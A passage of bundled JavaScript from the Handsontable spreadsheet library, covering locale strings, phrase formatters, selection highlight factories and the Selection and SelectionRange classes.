_defineProperty(_dictionary, C.CONTEXTMENU_ITEMS_READ_ONLY_COMMENT, 'Read-only comment'), _defineProperty(_dictionary, C.CONTEXTMENU_ITEMS_MERGE_CELLS, 'Merge cells'), _defineProperty(_dictionary, C.CONTEXTMENU_ITEMS_UNMERGE_CELLS, 'Unmerge cells'), _defineProperty(_dictionary, C.CONTEXTMENU_ITEMS_COPY, 'Copy'), _defineProperty(_dictionary, C.CONTEXTMENU_ITEMS_CUT, 'Cut'), _defineProperty(_dictionary, C.CONTEXTMENU_ITEMS_NESTED_ROWS_INSERT_CHILD, 'Insert child row'), _defineProperty(_dictionary, C.CONTEXTMENU_ITEMS_NESTED_ROWS_DETACH_CHILD, 'Detach from parent'), _defineProperty(_dictionary, C.CONTEXTMENU_ITEMS_HIDE_COLUMN, ['Hide column', 'Hide columns']), _defineProperty(_dictionary, C.CONTEXTMENU_ITEMS_SHOW_COLUMN, ['Show column', 'Show columns']), _defineProperty(_dictionary, C.CONTEXTMENU_ITEMS_HIDE_ROW, ['Hide row', 'Hide rows']), _defineProperty(_dictionary, C.CONTEXTMENU_ITEMS_SHOW_ROW, ['Show row', 'Show rows']), _defineProperty(_dictionary, C.FILTERS_CONDITIONS_NONE, 'None'), _defineProperty(_dictionary, C.FILTERS_CONDITIONS_EMPTY, 'Is empty'), _defineProperty(_dictionary, C.FILTERS_CONDITIONS_NOT_EMPTY, 'Is not empty'), _defineProperty(_dictionary, C.FILTERS_CONDITIONS_EQUAL, 'Is equal to'), _defineProperty(_dictionary, C.FILTERS_CONDITIONS_NOT_EQUAL, 'Is not equal to'), _defineProperty(_dictionary, C.FILTERS_CONDITIONS_BEGINS_WITH, 'Begins with'), _defineProperty(_dictionary, C.FILTERS_CONDITIONS_ENDS_WITH, 'Ends with'), _defineProperty(_dictionary, C.FILTERS_CONDITIONS_CONTAINS, 'Contains'), _defineProperty(_dictionary, C.FILTERS_CONDITIONS_NOT_CONTAIN, 'Does not contain'), _defineProperty(_dictionary, C.FILTERS_CONDITIONS_GREATER_THAN, 'Greater than'), _defineProperty(_dictionary, C.FILTERS_CONDITIONS_GREATER_THAN_OR_EQUAL, 'Greater than or equal to'), _defineProperty(_dictionary, C.FILTERS_CONDITIONS_LESS_THAN, 'Less than'), _defineProperty(_dictionary, C.FILTERS_CONDITIONS_LESS_THAN_OR_EQUAL, 'Less than or equal to'), _defineProperty(_dictionary, C.FILTERS_CONDITIONS_BETWEEN, 'Is between'), _defineProperty(_dictionary, C.FILTERS_CONDITIONS_NOT_BETWEEN, 'Is not between'), _defineProperty(_dictionary, C.FILTERS_CONDITIONS_AFTER, 'After'), _defineProperty(_dictionary, C.FILTERS_CONDITIONS_BEFORE, 'Before'), _defineProperty(_dictionary, C.FILTERS_CONDITIONS_TODAY, 'Today'), _defineProperty(_dictionary, C.FILTERS_CONDITIONS_TOMORROW, 'Tomorrow'), _defineProperty(_dictionary, C.FILTERS_CONDITIONS_YESTERDAY, 'Yesterday'), _defineProperty(_dictionary, C.FILTERS_VALUES_BLANK_CELLS, 'Blank cells'), _defineProperty(_dictionary, C.FILTERS_DIVS_FILTER_BY_CONDITION, 'Filter by condition'), _defineProperty(_dictionary, C.FILTERS_DIVS_FILTER_BY_VALUE, 'Filter by value'), _defineProperty(_dictionary, C.FILTERS_LABELS_CONJUNCTION, 'And'), _defineProperty(_dictionary, C.FILTERS_LABELS_DISJUNCTION, 'Or'), _defineProperty(_dictionary, C.FILTERS_BUTTONS_SELECT_ALL, 'Select all'), _defineProperty(_dictionary, C.FILTERS_BUTTONS_CLEAR, 'Clear'), _defineProperty(_dictionary, C.FILTERS_BUTTONS_OK, 'OK'), _defineProperty(_dictionary, C.FILTERS_BUTTONS_CANCEL, 'Cancel'), _defineProperty(_dictionary, C.FILTERS_BUTTONS_PLACEHOLDER_SEARCH, 'Search'), _defineProperty(_dictionary, C.FILTERS_BUTTONS_PLACEHOLDER_VALUE, 'Value'), _defineProperty(_dictionary, C.FILTERS_BUTTONS_PLACEHOLDER_SECOND_VALUE, 'Second value'), _dictionary); var _default = dictionary; exports.default = _default; /***/ }), /* 651 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.registerPhraseFormatter = exports.register = register; exports.getPhraseFormatters = exports.getAll = getAll; var _staticRegister2 = _interopRequireDefault(__webpack_require__(46)); var _pluralize = _interopRequireDefault(__webpack_require__(652)); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var _staticRegister = (0, _staticRegister2.default)('phraseFormatters'), registerGloballyPhraseFormatter = _staticRegister.register, getGlobalPhraseFormatters = _staticRegister.getValues; /** * Register phrase formatter. * * @param {String} name Name of formatter. * @param {Function} formatterFn Function which will be applied on phrase propositions. It will transform them if it's possible. */ function register(name, formatterFn) { registerGloballyPhraseFormatter(name, formatterFn); } /** * Get all registered previously formatters. * * @returns {Array} */ function getAll() { return getGlobalPhraseFormatters(); } register('pluralize', _pluralize.default); /***/ }), /* 652 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = pluralize; /** * Try to choose plural form from available phrase propositions. * * @param {Array} phrasePropositions List of phrases propositions. * @param {number} pluralForm Number determining which phrase form should be used. * * @returns {String|Array} One particular phrase if it's possible, list of unchanged phrase propositions otherwise. */ function pluralize(phrasePropositions, pluralForm) { var isPluralizable = Array.isArray(phrasePropositions) && Number.isInteger(pluralForm); if (isPluralizable) { return phrasePropositions[pluralForm]; } return phrasePropositions; } /***/ }), /* 653 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.createHighlight = createHighlight; var _staticRegister2 = _interopRequireDefault(__webpack_require__(46)); var _activeHeader = _interopRequireDefault(__webpack_require__(654)); var _area = _interopRequireDefault(__webpack_require__(655)); var _cell = _interopRequireDefault(__webpack_require__(656)); var _customSelection = _interopRequireDefault(__webpack_require__(657)); var _fill = _interopRequireDefault(__webpack_require__(658)); var _header = _interopRequireDefault(__webpack_require__(659)); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } /* eslint-disable import/prefer-default-export */ var _staticRegister = (0, _staticRegister2.default)('highlight/types'), register = _staticRegister.register, getItem = _staticRegister.getItem; register('active-header', _activeHeader.default); register('area', _area.default); register('cell', _cell.default); register('custom-selection', _customSelection.default); register('fill', _fill.default); register('header', _header.default); function createHighlight(highlightType, options) { return getItem(highlightType)(options); } /***/ }), /* 654 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _src = __webpack_require__(8); /** * @return {Selection} */ function createHighlight(_ref) { var activeHeaderClassName = _ref.activeHeaderClassName; var s = new _src.Selection({ highlightHeaderClassName: activeHeaderClassName }); return s; } var _default = createHighlight; exports.default = _default; /***/ }), /* 655 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _src = __webpack_require__(8); /** * Creates the new instance of Selection responsible for highlighting area of the selected multiple cells. * * @return {Selection} */ function createHighlight(_ref) { var layerLevel = _ref.layerLevel, areaCornerVisible = _ref.areaCornerVisible; var s = new _src.Selection({ className: 'area', markIntersections: true, layerLevel: Math.min(layerLevel, 7), border: { width: 1, color: '#4b89ff', cornerVisible: areaCornerVisible } }); return s; } var _default = createHighlight; exports.default = _default; /***/ }), /* 656 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _src = __webpack_require__(8); /** * Creates the new instance of Selection responsible for highlighting currently selected cell. This type of selection * can present on the table only one at the time. * * @return {Selection} */ function createHighlight(_ref) { var cellCornerVisible = _ref.cellCornerVisible; var s = new _src.Selection({ className: 'current', border: { width: 2, color: '#4b89ff', cornerVisible: cellCornerVisible } }); return s; } var _default = createHighlight; exports.default = _default; /***/ }), /* 657 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _src = __webpack_require__(8); /** * Creates the new instance of Selection responsible for highlighting currently selected cell. This type of selection * can present on the table only one at the time. * * @return {Selection} */ function createHighlight(_ref) { var border = _ref.border, cellRange = _ref.cellRange; var s = new _src.Selection(border, cellRange); return s; } var _default = createHighlight; exports.default = _default; /***/ }), /* 658 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _src = __webpack_require__(8); /** * Creates the new instance of Selection, responsible for highlighting cells which are covered by fill handle * functionality. This type of selection can present on the table only one at the time. * * @return {Selection} */ function createHighlight() { var s = new _src.Selection({ className: 'fill', border: { width: 1, color: '#ff0000' } }); return s; } var _default = createHighlight; exports.default = _default; /***/ }), /* 659 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _src = __webpack_require__(8); /** * Creates the new instance of Selection, responsible for highlighting row and column headers. This type of selection * can occur multiple times. * * @return {Selection} */ function createHighlight(_ref) { var headerClassName = _ref.headerClassName, rowClassName = _ref.rowClassName, columnClassName = _ref.columnClassName; var s = new _src.Selection({ className: 'highlight', highlightHeaderClassName: headerClassName, highlightRowClassName: rowClassName, highlightColumnClassName: columnClassName }); return s; } var _default = createHighlight; exports.default = _default; /***/ }), /* 660 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _highlight = _interopRequireWildcard(__webpack_require__(430)); var _range = _interopRequireDefault(__webpack_require__(661)); var _src = __webpack_require__(8); var _keyStateObserver = __webpack_require__(123); var _object = __webpack_require__(2); var _mixed = __webpack_require__(14); var _array = __webpack_require__(3); var _localHooks = _interopRequireDefault(__webpack_require__(68)); var _transformation = _interopRequireDefault(__webpack_require__(662)); var _utils = __webpack_require__(91); var _templateLiteralTag = __webpack_require__(58); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = Object.defineProperty && Object.getOwnPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : {}; if (desc.get || desc.set) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } } newObj.default = obj; return newObj; } } function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _nonIterableRest(); } function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance"); } function _iterableToArrayLimit(arr, i) { var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; } function _templateObject() { var data = _taggedTemplateLiteral(["Unsupported format of the selection ranges was passed. To select cells pass \n the coordinates as an array of arrays ([[rowStart, columnStart/columnPropStart, rowEnd, columnEnd/columnPropEnd]]) \n or as an array of CellRange objects."]); _templateObject = function _templateObject() { return data; }; return data; } function _taggedTemplateLiteral(strings, raw) { if (!raw) { raw = strings.slice(0); } return Object.freeze(Object.defineProperties(strings, { raw: { value: Object.freeze(raw) } })); } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } /** * @class Selection * @util */ var Selection = /*#__PURE__*/ function () { function Selection(settings, tableProps) { var _this = this; _classCallCheck(this, Selection); /** * Handsontable settings instance. * * @type {GridSettings} */ this.settings = settings; /** * An additional object with dynamically defined properties which describes table state. * * @type {Object} */ this.tableProps = tableProps; /** * The flag which determines if the selection is in progress. * * @type {Boolean} */ this.inProgress = false; /** * The flag indicates that selection was performed by clicking the corner overlay. * * @type {Boolean} */ this.selectedByCorner = false; /** * The collection of the selection layer levels where the whole row was selected using the row header. * * @type {Set.} */ this.selectedByRowHeader = new Set(); /** * The collection of the selection layer levels where the whole column was selected using the column header. * * @type {Set.} */ this.selectedByColumnHeader = new Set(); /** * Selection data layer. * * @type {SelectionRange} */ this.selectedRange = new _range.default(); /** * Visualization layer. * * @type {Highlight} */ this.highlight = new _highlight.default({ headerClassName: settings.currentHeaderClassName, activeHeaderClassName: settings.activeHeaderClassName, rowClassName: settings.currentRowClassName, columnClassName: settings.currentColClassName, disableHighlight: this.settings.disableVisualSelection, cellCornerVisible: function cellCornerVisible() { return _this.isCellCornerVisible.apply(_this, arguments); }, areaCornerVisible: function areaCornerVisible() { return _this.isAreaCornerVisible.apply(_this, arguments); } }); /** * The module for modifying coordinates. * * @type {Transformation} */ this.transformation = new _transformation.default(this.selectedRange, { countRows: function countRows() { return _this.tableProps.countRows(); }, countCols: function countCols() { return _this.tableProps.countCols(); }, fixedRowsBottom: function fixedRowsBottom() { return settings.fixedRowsBottom; }, minSpareRows: function minSpareRows() { return settings.minSpareRows; }, minSpareCols: function minSpareCols() { return settings.minSpareCols; }, autoWrapRow: function autoWrapRow() { return settings.autoWrapRow; }, autoWrapCol: function autoWrapCol() { return settings.autoWrapCol; } }); this.transformation.addLocalHook('beforeTransformStart', function () { for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) { args[_key] = arguments[_key]; } return _this.runLocalHooks.apply(_this, ['beforeModifyTransformStart'].concat(args)); }); this.transformation.addLocalHook('afterTransformStart', function () { for (var _len2 = arguments.length, args = new Array(_len2), _key2 = 0; _key2 < _len2; _key2++) { args[_key2] = arguments[_key2]; } return _this.runLocalHooks.apply(_this, ['afterModifyTransformStart'].concat(args)); }); this.transformation.addLocalHook('beforeTransformEnd', function () { for (var _len3 = arguments.length, args = new Array(_len3), _key3 = 0; _key3 < _len3; _key3++) { args[_key3] = arguments[_key3]; } return _this.runLocalHooks.apply(_this, ['beforeModifyTransformEnd'].concat(args)); }); this.transformation.addLocalHook('afterTransformEnd', function () { for (var _len4 = arguments.length, args = new Array(_len4), _key4 = 0; _key4 < _len4; _key4++) { args[_key4] = arguments[_key4]; } return _this.runLocalHooks.apply(_this, ['afterModifyTransformEnd'].concat(args)); }); this.transformation.addLocalHook('insertRowRequire', function () { for (var _len5 = arguments.length, args = new Array(_len5), _key5 = 0; _key5 < _len5; _key5++) { args[_key5] = arguments[_key5]; } return _this.runLocalHooks.apply(_this, ['insertRowRequire'].concat(args)); }); this.transformation.addLocalHook('insertColRequire', function () { for (var _len6 = arguments.length, args = new Array(_len6), _key6 = 0; _key6 < _len6; _key6++) { args[_key6] = arguments[_key6]; } return _this.runLocalHooks.apply(_this, ['insertColRequire'].concat(args)); }); } /** * Get data layer for current selection. * * @return {SelectionRange} */ _createClass(Selection, [{ key: "getSelectedRange", value: function getSelectedRange() { return this.selectedRange; } /** * Indicate that selection process began. It sets internaly `.inProgress` property to `true`. */ }, { key: "begin", value: function begin() { this.inProgress = true; } /** * Indicate that selection process finished. It sets internaly `.inProgress` property to `false`. */ }, { key: "finish", value: function finish() { this.runLocalHooks('afterSelectionFinished', Array.from(this.selectedRange)); this.inProgress = false; } /** * Check if the process of selecting the cell/cells is in progress. * * @returns {Boolean} */ }, { key: "isInProgress", value: function isInProgress() { return this.inProgress; } /** * Starts selection range on given coordinate object. * * @param {CellCoords} coords Visual coords. * @param {Boolean} [multipleSelection] If `true`, selection will be worked in 'multiple' mode. This option works * only when 'selectionMode' is set as 'multiple'. If the argument is not defined * the default trigger will be used (isPressedCtrlKey() helper). * @param {Boolean} [fragment=false] If `true`, the selection will be treated as a partial selection where the * `setRangeEnd` method won't be called on every `setRangeStart` call. */ }, { key: "setRangeStart", value: function setRangeStart(coords, multipleSelection) { var fragment = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false; var isMultipleMode = this.settings.selectionMode === 'multiple'; var isMultipleSelection = (0, _mixed.isUndefined)(multipleSelection) ? (0, _keyStateObserver.isPressedCtrlKey)() : multipleSelection; var isRowNegative = coords.row < 0; var isColumnNegative = coords.col < 0; var selectedByCorner = isRowNegative && isColumnNegative; if (isRowNegative) { coords.row = 0; } if (isColumnNegative) { coords.col = 0; } this.selectedByCorner = selectedByCorner; this.runLocalHooks("beforeSetRangeStart".concat(fragment ? 'Only' : ''), coords); if (!isMultipleMode || isMultipleMode && !isMultipleSelection && (0, _mixed.isUndefined)(multipleSelection)) { this.selectedRange.clear(); } this.selectedRange.add(coords); if (this.getLayerLevel() === 0) { this.selectedByRowHeader.clear(); this.selectedByColumnHeader.clear(); } if (!selectedByCorner && isColumnNegative) { this.selectedByRowHeader.add(this.getLayerLevel()); } if (!selectedByCorner && isRowNegative) { this.selectedByColumnHeader.add(this.getLayerLevel()); } if (!fragment) { this.setRangeEnd(coords); } } /** * Starts selection range on given coordinate object. * * @param {CellCoords} coords Visual coords. * @param {Boolean} [multipleSelection] If `true`, selection will be worked in 'multiple' mode. This option works * only when 'selectionMode' is set as 'multiple'. If the argument is not defined * the default trigger will be used (isPressedCtrlKey() helper). */ }, { key: "setRangeStartOnly", value: function setRangeStartOnly(coords, multipleSelection) { this.setRangeStart(coords, multipleSelection, true); } /** * Ends selection range on given coordinate object. * * @param {CellCoords} coords Visual coords. */ }, { key: "setRangeEnd", value: function setRangeEnd(coords) { if (this.selectedRange.isEmpty()) { return; } this.runLocalHooks('beforeSetRangeEnd', coords); this.begin(); var cellRange = this.selectedRange.current(); if (this.settings.selectionMode !== 'single') { cellRange.setTo(new _src.CellCoords(coords.row, coords.col)); } // Set up current selection. this.highlight.getCell().clear(); if (this.highlight.isEnabledFor(_highlight.CELL_TYPE)) { this.highlight.getCell().add(this.selectedRange.current().highlight); } var layerLevel = this.getLayerLevel(); // If the next layer level is lower than previous then clear all area and header highlights. This is the // indication that the new selection is performing. if (layerLevel < this.highlight.layerLevel) { (0, _array.arrayEach)(this.highlight.getAreas(), function (highlight) { return void highlight.clear(); }); (0, _array.arrayEach)(this.highlight.getHeaders(), function (highlight) { return void highlight.clear(); }); (0, _array.arrayEach)(this.highlight.getActiveHeaders(), function (highlight) { return void highlight.clear(); }); } this.highlight.useLayerLevel(layerLevel); var areaHighlight = this.highlight.createOrGetArea(); var headerHighlight = this.highlight.createOrGetHeader(); var activeHeaderHighlight = this.highlight.createOrGetActiveHeader(); areaHighlight.clear(); headerHighlight.clear(); activeHeaderHighlight.clear(); if (this.highlight.isEnabledFor(_highlight.AREA_TYPE) && (this.isMultiple() || layerLevel >= 1)) { areaHighlight.add(cellRange.from).add(cellRange.to); if (layerLevel === 1) { // For single cell selection in the same layer, we do not create area selection to prevent blue background. // When non-consecutive selection is performed we have to add that missing area selection to the previous layer // based on previous coordinates. It only occurs when the previous selection wasn't select multiple cells. this.highlight.useLayerLevel(layerLevel - 1).createOrGetArea().add(this.selectedRange.previous().from); this.highlight.useLayerLevel(layerLevel); } } if (this.highlight.isEnabledFor(_highlight.HEADER_TYPE)) { if (this.settings.selectionMode === 'single') { headerHighlight.add(cellRange.highlight); } else { headerHighlight.add(cellRange.from).add(cellRange.to); } } if (this.isSelectedByRowHeader()) { var isRowSelected = this.tableProps.countCols() === cellRange.getWidth(); // Make sure that the whole row is selected (in case where selectionMode is set to 'single') if (isRowSelected) { activeHeaderHighlight.add(new _src.CellCoords(cellRange.from.row, -1)).add(new _src.CellCoords(cellRange.to.row, -1)); } } if (this.isSelectedByColumnHeader()) { var isColumnSelected = this.tableProps.countRows() === cellRange.getHeight(); // Make sure that the whole column is selected (in case where selectionMode is set to 'single') if (isColumnSelected) { activeHeaderHighlight.add(new _src.CellCoords(-1, cellRange.from.col)).add(new _src.CellCoords(-1, cellRange.to.col)); } } this.runLocalHooks('afterSetRangeEnd', coords); } /** * Returns information if we have a multiselection. This method check multiselection only on the latest layer of * the selection. * * @returns {Boolean} */ }, { key: "isMultiple", value: function isMultiple() { var isMultipleListener = (0, _object.createObjectPropListener)(!this.selectedRange.current().isSingle()); this.runLocalHooks('afterIsMultipleSelection', isMultipleListener); return isMultipleListener.value; } /** * Selects cell relative to the current cell (if possible). * * @param {Number} rowDelta Rows number to move, value can be passed as negative number. * @param {Number} colDelta Columns number to move, value can be passed as negative number. * @param {Boolean} force If `true` the new rows/columns will be created if necessary. Otherwise, row/column will * be created according to `minSpareRows/minSpareCols` settings of Handsontable. */ }, { key: "transformStart", value: function transformStart(rowDelta, colDelta, force) { this.setRangeStart(this.transformation.transformStart(rowDelta, colDelta, force)); } /** * Sets selection end cell relative to the current selection end cell (if possible). * * @param {Number} rowDelta Rows number to move, value can be passed as negative number. * @param {Number} colDelta Columns number to move, value can be passed as negative number. */ }, { key: "transformEnd", value: function transformEnd(rowDelta, colDelta) { this.setRangeEnd(this.transformation.transformEnd(rowDelta, colDelta)); } /** * Returns currently used layer level. * * @return {Number} Returns layer level starting from 0. If no selection was added to the table -1 is returned. */ }, { key: "getLayerLevel", value: function getLayerLevel() { return this.selectedRange.size() - 1; } /** * Returns `true` if currently there is a selection on the screen, `false` otherwise. * * @returns {Boolean} */ }, { key: "isSelected", value: function isSelected() { return !this.selectedRange.isEmpty(); } /** * Returns `true` if the selection was applied by clicking to the row header. If the `layerLevel` * argument is passed then only that layer will be checked. Otherwise, it checks if any row header * was clicked on any selection layer level. * * @param {Number} [layerLevel=this.getLayerLevel()] Selection layer level to check. * @return {Boolean} */ }, { key: "isSelectedByRowHeader", value: function isSelectedByRowHeader() { var layerLevel = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : this.getLayerLevel(); return layerLevel === -1 ? this.selectedByRowHeader.size > 0 : this.selectedByRowHeader.has(layerLevel); } /** * Returns `true` if the selection was applied by clicking to the column header. If the `layerLevel` * argument is passed then only that layer will be checked. Otherwise, it checks if any column header * was clicked on any selection layer level. * * @param {Number} [layerLevel=this.getLayerLevel()] Selection layer level to check. * @return {Boolean} */ }, { key: "isSelectedByColumnHeader", value: function isSelectedByColumnHeader() { var layerLevel = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : this.getLayerLevel(); return layerLevel === -1 ? this.selectedByColumnHeader.size > 0 : this.selectedByColumnHeader.has(layerLevel); } /** * Returns `true` if the selection was applied by clicking on the row or column header on any layer level. * * @return {Boolean} */ }, { key: "isSelectedByAnyHeader", value: function isSelectedByAnyHeader() { return this.isSelectedByRowHeader(-1) || this.isSelectedByColumnHeader(-1); } /** * Returns `true` if the selection was applied by clicking on the left-top corner overlay. * * @return {Boolean} */ }, { key: "isSelectedByCorner", value: function isSelectedByCorner() { return this.selectedByCorner; } /** * Returns `true` if coords is within selection coords. This method iterates through all selection layers to check if * the coords object is within selection range. * * @param {CellCoords} coords The CellCoords instance with defined visual coordinates. * @returns {Boolean} */ }, { key: "inInSelection", value: function inInSelection(coords) { return this.selectedRange.includes(coords); } /** * Returns `true` if the cell corner should be visible. * * @private * @return {Boolean} `true` if the corner element has to be visible, `false` otherwise. */ }, { key: "isCellCornerVisible", value: function isCellCornerVisible() { return this.settings.fillHandle && !this.tableProps.isEditorOpened() && !this.isMultiple(); } /** * Returns `true` if the area corner should be visible. * * @param {Number} layerLevel The layer level. * @return {Boolean} `true` if the corner element has to be visible, `false` otherwise. */ }, { key: "isAreaCornerVisible", value: function isAreaCornerVisible(layerLevel) { if (Number.isInteger(layerLevel) && layerLevel !== this.getLayerLevel()) { return false; } return this.settings.fillHandle && !this.tableProps.isEditorOpened() && this.isMultiple(); } /** * Clear the selection by resetting the collected ranges and highlights. */ }, { key: "clear", value: function clear() { this.selectedRange.clear(); this.highlight.clear(); } /** * Deselects all selected cells. */ }, { key: "deselect", value: function deselect() { if (!this.isSelected()) { return; } this.inProgress = false; this.clear(); this.runLocalHooks('afterDeselect'); } /** * Select all cells. */ }, { key: "selectAll", value: function selectAll() { this.clear(); this.setRangeStart(new _src.CellCoords(-1, -1)); this.selectedByRowHeader.add(this.getLayerLevel()); this.selectedByColumnHeader.add(this.getLayerLevel()); this.setRangeEnd(new _src.CellCoords(this.tableProps.countRows() - 1, this.tableProps.countCols() - 1)); } /** * Make multiple, non-contiguous selection specified by `row` and `column` values or a range of cells * finishing at `endRow`, `endColumn`. The method supports two input formats, first as an array of arrays such * as `[[rowStart, columnStart, rowEnd, columnEnd]]` and second format as an array of CellRange objects. * If the passed ranges have another format the exception will be thrown. * * @param {Array[]|CellRange[]} selectionRanges The coordinates which define what the cells should be selected. * @return {Boolean} Returns `true` if selection was successful, `false` otherwise. */ }, { key: "selectCells", value: function selectCells(selectionRanges) { var _this2 = this; var selectionType = (0, _utils.detectSelectionType)(selectionRanges); if (selectionType === _utils.SELECTION_TYPE_EMPTY) { return false; } else if (selectionType === _utils.SELECTION_TYPE_UNRECOGNIZED) { throw new Error((0, _templateLiteralTag.toSingleLine)(_templateObject())); } var selectionSchemaNormalizer = (0, _utils.normalizeSelectionFactory)(selectionType, { propToCol: function propToCol(prop) { return _this2.tableProps.propToCol(prop); }, keepDirection: true }); var countRows = this.tableProps.countRows(); var countCols = this.tableProps.countCols(); // Check if every layer of the coordinates are valid. var isValid = !selectionRanges.some(function (selection) { var _selectionSchemaNorma = selectionSchemaNormalizer(selection), _selectionSchemaNorma2 = _slicedToArray(_selectionSchemaNorma, 4), rowStart = _selectionSchemaNorma2[0], columnStart = _selectionSchemaNorma2[1], rowEnd = _selectionSchemaNorma2[2], columnEnd = _selectionSchemaNorma2[3]; var _isValid = (0, _utils.isValidCoord)(rowStart, countRows) && (0, _utils.isValidCoord)(columnStart, countCols) && (0, _utils.isValidCoord)(rowEnd, countRows) && (0, _utils.isValidCoord)(columnEnd, countCols); return !_isValid; }); if (isValid) { this.clear(); (0, _array.arrayEach)(selectionRanges, function (selection) { var _selectionSchemaNorma3 = selectionSchemaNormalizer(selection), _selectionSchemaNorma4 = _slicedToArray(_selectionSchemaNorma3, 4), rowStart = _selectionSchemaNorma4[0], columnStart = _selectionSchemaNorma4[1], rowEnd = _selectionSchemaNorma4[2], columnEnd = _selectionSchemaNorma4[3]; _this2.setRangeStartOnly(new _src.CellCoords(rowStart, columnStart), false); _this2.setRangeEnd(new _src.CellCoords(rowEnd, columnEnd)); _this2.finish(); }); } return isValid; } /** * Select column specified by `startColumn` visual index or column property or a range of columns finishing at `endColumn`. * * @param {Number|String} startColumn Visual column index or column property from which the selection starts. * @param {Number|String} [endColumn] Visual column index or column property from to the selection finishes. * @returns {Boolean} Returns `true` if selection was successful, `false` otherwise. */ }, { key: "selectColumns", value: function selectColumns(startColumn) { var endColumn = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : startColumn; var start = typeof startColumn === 'string' ? this.tableProps.propToCol(startColumn) : startColumn; var end = typeof endColumn === 'string' ? this.tableProps.propToCol(endColumn) : endColumn; var countCols = this.tableProps.countCols(); var isValid = (0, _utils.isValidCoord)(start, countCols) && (0, _utils.isValidCoord)(end, countCols); if (isValid) { this.setRangeStartOnly(new _src.CellCoords(-1, start)); this.setRangeEnd(new _src.CellCoords(this.tableProps.countRows() - 1, end)); this.finish(); } return isValid; } /** * Select row specified by `startRow` visual index or a range of rows finishing at `endRow`. * * @param {Number} startRow Visual row index from which the selection starts. * @param {Number} [endRow] Visual row index from to the selection finishes. * @returns {Boolean} Returns `true` if selection was successful, `false` otherwise. */ }, { key: "selectRows", value: function selectRows(startRow) { var endRow = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : startRow; var countRows = this.tableProps.countRows(); var isValid = (0, _utils.isValidCoord)(startRow, countRows) && (0, _utils.isValidCoord)(endRow, countRows); if (isValid) { this.setRangeStartOnly(new _src.CellCoords(startRow, -1)); this.setRangeEnd(new _src.CellCoords(endRow, this.tableProps.countCols() - 1)); this.finish(); } return isValid; } }]); return Selection; }(); (0, _object.mixin)(Selection, _localHooks.default); var _default = Selection; exports.default = _default; /***/ }), /* 661 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _src = __webpack_require__(8); function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } /** * The SelectionRange class is a simple CellRanges collection designed for easy manipulation of the multiple * consecutive and non-consecutive selections. * * @class SelectionRange * @util */ var SelectionRange = /*#__PURE__*/ function () { function SelectionRange() { _classCallCheck(this, SelectionRange); /** * List of all CellRanges added to the class instance. * * @type {CellRange[]} */ this.ranges = []; } /** * Check if selected range is empty. * * @return {Boolean} */ _createClass(SelectionRange, [{ key: "isEmpty", value: function isEmpty() { return this.size() === 0; } /** * Set coordinates to the class instance. It clears all previously added coordinates and push `coords` * to the collection. * * @param {CellCoords} coords The CellCoords instance with defined visual coordinates. * @returns {SelectionRange} */ }, { key: "set", value: function set(coords) { this.clear(); this.ranges.push(new _src.CellRange(coords)); return this; } /** * Add coordinates to the class instance. The new coordinates are added to the end of the range collection. * * @param {CellCoords} coords The CellCoords instance with defined visual coordinates. * @returns {SelectionRange} */ }, { key: "add", value: function add(coords) { this.ranges.push(new _src.CellRange(coords)); return this; } /** 